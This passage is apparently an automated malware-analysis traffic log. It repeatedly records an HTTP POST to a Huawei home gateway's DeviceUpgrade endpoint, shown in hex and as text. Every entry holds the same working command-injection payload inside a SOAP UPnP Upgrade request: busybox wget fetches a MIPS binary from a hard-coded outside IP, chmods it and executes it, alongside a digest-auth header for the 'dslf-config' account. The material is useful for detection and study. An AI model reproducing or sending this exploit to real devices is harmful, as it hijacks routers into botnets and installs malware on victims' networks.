20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 